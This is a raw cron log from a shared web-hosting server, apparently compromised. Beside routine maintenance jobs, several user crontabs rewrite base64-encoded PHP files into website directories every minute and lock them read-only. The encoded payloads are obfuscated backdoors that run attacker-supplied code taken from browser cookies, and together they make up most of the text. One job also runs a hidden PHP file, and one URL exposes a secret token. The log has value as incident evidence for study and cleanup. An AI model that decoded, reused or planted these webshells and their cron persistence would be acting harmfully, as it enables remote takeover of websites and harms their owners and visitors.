Mar  1 23:38:02 medusa CROND[17121]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:38:02 medusa CROND[17122]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:38:02 medusa CROND[17123]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:38:02 medusa CROND[17127]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:38:02 medusa CROND[17129]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:38:02 medusa CROND[17130]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:38:02 medusa CROND[17140]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:38:02 medusa CROND[17143]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:39:02 medusa CROND[24245]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:39:02 medusa CROND[24447]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:39:02 medusa CROND[24448]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 23:39:02 medusa CROND[24449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:39:02 medusa CROND[24450]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:39:02 medusa CROND[24451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:39:02 medusa CROND[24452]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 23:39:02 medusa CROND[24453]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:39:02 medusa CROND[24457]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:39:02 medusa CROND[24461]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:39:02 medusa CROND[24463]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:39:02 medusa CROND[24464]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:39:02 medusa CROND[24462]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 23:39:02 medusa CROND[24476]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:40:01 medusa CROND[29229]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 23:40:01 medusa CROND[29281]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 23:40:01 medusa CROND[29287]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:40:01 medusa CROND[29375]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 23:40:01 medusa CROND[29538]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 23:40:01 medusa CROND[29543]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 23:40:01 medusa CROND[29546]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:40:01 medusa CROND[29547]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:40:01 medusa CROND[29548]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 23:40:01 medusa CROND[29544]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 23:40:01 medusa CROND[29549]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:40:01 medusa CROND[29550]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 23:40:01 medusa CROND[29545]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 23:40:01 medusa CROND[29552]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:40:01 medusa CROND[29553]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 23:40:01 medusa CROND[29554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:40:01 medusa CROND[29555]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
